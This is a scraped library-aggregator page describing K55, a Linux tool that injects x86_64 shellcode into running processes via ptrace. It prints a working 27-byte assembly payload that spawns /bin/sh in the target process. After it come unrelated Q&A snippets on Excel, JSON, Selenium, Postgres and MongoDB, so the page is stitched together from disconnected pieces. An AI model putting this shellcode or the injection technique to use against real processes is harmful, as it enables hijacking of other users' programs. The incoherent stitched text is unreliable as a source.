K55 | Linux x86_64 Process Injection Utility Manipulate | Security library
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kandi X-RAY | K55 Summary
(pronounced: "kay fifty-five") The K55 payload injection tool is used for injecting x86_64 shellcode payloads into running processes. The utility was developed using modern C++11 techniques as well as some traditional C linux functions like ptrace(). The shellcode spawned in the target process is 27 bytes and it executes /bin/sh (spawns a bash shell) within the target's address space. In the future, I will allow users to input there own shellcode via command line arguments.
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main:
xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3b
syscall
#include
#include
// Shellcode breakdown of the assem
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QUESTION
hi all this is my first time posting a question i have 2 loop in my excel vba
loop 1 :
...ANSWER
Answered 2020-Jul-05 at 15:26Use a For
loop
QUESTION
My requirement is to send the JSON object created from the nested dictionary which has the characters like '\n' and ' '. Below is the dictionary which I am trying to change.
...ANSWER
Answered 2020-May-22 at 11:00An alternative way is to convert the entire thing to a string, replace \n
and spaces with blanks, and convert it back to a dict
.
QUESTION
I am scraping a site through selenium
and after applying suggested headers and chrome options, it is showing me this in the output in between the desired output [0306/125211.693:INFO:CONSOLE(0)] "A cookie associated with a cross-site resource at http://yahoo.com/ was set without the `SameSite` attribute.
...
My code:
...ANSWER
Answered 2020-Mar-06 at 09:17This error message...
QUESTION
How do i query for jsonb keys which intersect:
Ex:
...ANSWER
Answered 2018-Aug-31 at 08:00You can try this :
QUESTION
Goodmorning!
I would love to to keep it simple. I have some numbers where I have to make a monthly report from.
For example the numbers I would take in the monthly report, are now based in:
...ANSWER
Answered 2018-Jul-19 at 07:17Select your range of formulas.
Click Home > Editing > Find & Select > Replace...
Replace what: 54
Replace with: 55
Click Replace All
QUESTION
I have a excel worksheet that has 6 rows of 12 at the top of the page as a reference table. There are then 3 columns going down the left in which numbers are inserted by the user. These inputs are then run through the various formulas in the columns to the right. The problem is only about half of the formulas are autoreplicating down the page when you enter a new row of the 3 inputs and I can't figure out why some are and some aren't.
- The columns that aren't replicating are not directly beside each other, they are mixed in with ones that are replicating.
- I have selected the entire workbook and made sure cell formatting is set to general. I have tried with the set to numbers as well. All the cells formulas result in number data or true/false columns. Some true/false columns are replicating, most are not.
- The true/false columns that aren't replicating I changed to try and output 1 or 0 and they still did not replicate.
Here is the list of formulas in the workbook that do replicate:
=IF(B50=0,FALSE,ISEVEN(B50))
=IF(B50=0,FALSE,ISODD(B50))
=IF(J50=TRUE,1,0)
=IF(B50=0,0,IF(B50<=18,1,0))
=IF(B50=0,0,IF(B50>=19,1,0))
=COUNTIF($B$1:$M$1,B50)
=COUNTIF($B$2:$M$2,B50)
=COUNTIF($B$3:$M$3,B50)
=COUNTIF($B$4:$M$4,B50)
=COUNTIF($B$5:$M$5,B50)
=COUNTIF($B$6:$M$6,B50)
And formulas that aren't auto replicating:
=IF((C50+C49+C48)=0,TRUE,)
=IF((D56+D55+D54)=0,TRUE,)
=IF((H56+H55+H54)=0,TRUE,)
=IF((K56+K55+K54)=0,TRUE,)
=IF((M56+M55+M54)=0,TRUE,)
=IF((O56+O55+O54)=0,TRUE,)
=IF((Q56+Q55+Q54+Q53+Q52+Q51)=0,TRUE,)
=IF((S56+S55+S54+S53+S52+S51)=0,TRUE,)
=IF((U56+U55+U54+U53+U52+U51)=0,TRUE,)
=IF((W56+W55+W54+W53+W52+W51)=0,TRUE,)
=IF((Y56+Y55+Y54+Y53+Y52+Y51)=0,TRUE,)
The first two of the not working list work directly from the inputs from the user which are numbers. The rest work off the results of formulas in other cells. I have tried changing these to =IF((C50+C49+C48)=0,TRUE,FALSE) or =IF((C50+C49+C48)=0,1,0) and they still won't replicate.
However the formulas DO work and I can drag the formulas down with the cross to fill the next line and they continue down correctly. I just don't know why that bottom list isn't auto replicating so I don't have to drag down the line every time I put in a new line. Again, they are not blocked together either. They don't work in columns E, F, I, L, N, P, R, T, V, X, Z, AB.
Additional Info Edit:
https://1drv.ms/x/s!AugdlkUwEcaQj0IBMRluryEJcY2t
Here is the file. It's a roulette probability worksheet. Open it up and go to the Run 2 tab. You enter the number called on the left, and then a 1 for red or 1 for black. For example, 35 is always black, so right now it is set up to enter 35 for the number, 0 since its not red, and 1 for black.
When you enter these numbers you see that it automatically brings down some of the formulas in the rest of the columns for that row. However, none of the bet columns automatically move down like the others. You can highlight the prior row and drag then down and it will auto fill correctly. I would just like all the columns to move down so I don't have to pull the line down every time.
...ANSWER
Answered 2018-Feb-28 at 06:06I don't quite understand why you have the rows 10 to 19 with static numbers and then hide them.
Excel will only auto-populate formulas down to the next row if there is a certain number of rows above the current row that has the same formula.
But that approach is rather unreliable and a bit outdated.
If you want formulas and formatting to be applied to the next row of data when a new row is entered, then you can transform your table to an Excel Table object with Insert > Table or Ctrl-T.
An Excel Table object has a special functionality, and will copy any formulas automatically into new rows of data.
QUESTION
In MongoDB 3.4 Documentation its mentioned that
MongoDB supports no more than 100 levels of nesting for BSON documents
But i was able to insert documents with more than 100 levels, so is my understanding of document nesting is wrong? what I am missing here could anyone please point out? below are the two stored document:
...db.check.find()
{ "_id" : ObjectId("598da4250de4a665225f2741"), "k1" : { "k2" : { "k3" : { "k4" : { "k5" : { "k6" : { "k7" : { "k8" : { "k9" : { "k10" : { "k11" : { "k12" : { "k13" : { "k14" : { "k15" : { "k16" : { "k17" : { "k18" : { "k19" : { "k20" : { " k21" : { "k22" : { "k23" : { "k24" : { "k25" : { "k26" : { "k27" : { "k28" : { "k29" : { "k30" : { "k31" : { "k32" : { " k33" : { "k34" : { "k35" : { "k36" : { "k37" : { "k38" : { "k39" : { "k40" : { "k41" : { "k42" : { "k43" : { "k44" : { " k45" : { "k46" : { "k47" : { "k48" : { "k49" : { "k50" : { "k51" : { "k52" : { "k53" : { "k54" : { "k55" : { "k56" : { " k57" : { "k58" : { "k59" : { "k60" : { "k61" : { "k62" : { "k63" : { "k64" : { "k65" : { "k66" : { "k67" : { "k68" : { " k69" : { "k70" : { "k71" : { "k72" : { "k73" : { "k74" : { "k75" : { "k76" : { "k77" : { "k78" : { "k79" : { "k80" : { " k81" : { "k82" : { "k83" : { "k84" : { "k85" : { "k86" : { "k87" : { "k88" : { "k89" : { "k90" : { "k91" : { "k92" : { " k93" : { "k94" : { "k95" : { "k96" : { "k97" : { "k98" : { "k99" : { "k100" : { "k101" : "hi" } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } }
{ "_id" : ObjectId("598da502d662e277bf7971b0"), "k1" : { "k2" : { "k3" : { "k4" : { "k5" : { "k6" : { "k7" : { "k8" : { "k9" : { "k10" : { "k11" : { "k12" : { "k13" : { "k14" : { "k15" : { "k16" : { "k17" : { "k18" : { "k19" : { "k20" : { " k21" : { "k22" : { "k23" : { "k24" : { "k25" : { "k26" : { "k27" : { "k28" : { "k29" : { "k30" : { "k31" : { "k32" : { " k33" : { "k34" : { "k35" : { "k36" : { "k37" : { "k38" : { "k39" : { "k40" : { "k41" : { "k42" : { "k43" : { "k44" : { " k45" : { "k46" : { "k47" : { "k48" : { "k49" : { "k50" : { "k51" : { "k52" : { "k53" : { "k54" : { "k55" : { "k56" : { " k57" : { "k58" : { "k59" : { "k60" : { "k61" : { "k62" : { "k63" : { "k64" : { "k65" : { "k66" : { "k67" : { "k68" : { " k69" : { "k70" : { "k71" : { "k72" : { "k73" : { "k74" : { "k75" : { "k76" : { "k77" : { "k78" : { "k79" : { "k80" : { " k81" : { "k82" : { "k83" : { "k84" : { "k85" : { "k86" : { "k87" : { "k88" : { "k89" : { "k90" : { "k91" : { "k92" : { " k93" : { "k94" : { "k95" : { "k96" : { "k97" : { "k98" : { "k99" : { "k100" : { "k101" : { "k102" : "hi2" } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } >
ANSWER
Answered 2017-Aug-11 at 13:58MongoDB has some slack within the recommended nesting limit, the hard limit is actually 200 nested documents.
See here - https://github.com/mongodb/mongo/blob/master/src/mongo/bson/bson_depth.h#L39
For more information see this Jira item - https://jira.mongodb.org/browse/DOCS-10578
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